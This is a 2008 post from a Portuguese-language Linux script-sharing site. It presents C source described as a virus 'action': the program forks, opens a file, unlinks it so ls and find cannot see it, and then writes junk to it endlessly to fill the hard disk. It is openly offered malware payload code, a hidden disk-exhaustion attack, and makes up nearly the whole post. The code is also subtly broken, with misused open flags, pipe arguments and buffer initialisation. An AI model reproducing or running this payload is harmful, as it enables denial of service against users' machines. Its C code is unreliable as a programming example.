Lota o HD com bagaço
Publicado por Geraldo José Ferreira Chagas Júnior 14/07/2008
[ Hits: 5.039 ]
Homepage: http://prginfo.blogspot.com
Cria um arquivo, mantém aberto e apaga, porém continua enchendo-o de dados. Dessa forma ele fica invisível ao usuário; nem o ls, nem o find poderão encontrá-lo.
/* progacao1.c */
#include <stdio.h>
#include <stdlib.h>
acao()
{
int ifd;
char
*buf=("1","2","3","4","5","6","7","8","9","0");
long c;
int desc;
close(1); /* fecha a saída padrão, o vídeo
*/
pipe (desc); /* com a saída padrão fechado,
fazemos com que a saída passe a ser o pipe. O
descritor dessa nova saida será armazenados em desc
*/
ifd=open("./lotaHD", "w+",0777); /* abre o
arquivo para escrita */
unlink("./lotaHD"); /* apaga o arquivo */
while (1)
{
write(ifd, buf, sizeof(buf)); /* em um loop
infinito grava os dados de buf no arquivo */
printf ("oi\n"); /* precisamos de um tempo
para a gravação, é o tempo que se escreve esta
string na saída. Por isso usamos o pipe. Não
queremos que o vírus fique escrevendo nada no vídeo
*/
}
}
main()
{
int i;
i=fork(); /* precisaremos criar um outro
processo, pois o vírus terá que continuar sua
execução enquanto sua ação é realizada. */
/* Não poderia ser uma thead, pois
mesmo que o programa hospedeiro se encerre, o
processo tem que continuar */
/* o processo filho que foi criado é quem deve
se encarregar da execução da ação, o pai tem que
continuar a executar as funcionalidades restantes
do vírus */
if (i==0)
acao();
}
Sintetizador sonoro que toca redez vouz 4
SIMULADOR DE DADOS DE RPG - BASEADO EM VAMPIRO A MÁSCARA
Determinando a posicão de ocorrencia de uma string em outra
Nenhum comentário foi encontrado.
Como atualizar sua versão estável do Debian
Cirurgia para acelerar o openSUSE em HD externo via USB
Void Server como Domain Control
Script de montagem de chroot automatica
Atualizar Linux Mint 22.2 para 22.3 beta
Jogar games da Battle.net no Linux com Faugus Launcher
Como fazer a Instalação de aplicativos para acesso remoto ao Linux
Conky, alerta de temperatura alta (14)
Instalação do cosmic no archlinux (1)
De volta para o futuro - ou melhor, para o presente (parte 2) (2)
Por que passar nas disciplinas da faculdade é ruim e ser reprovado é b... (7)









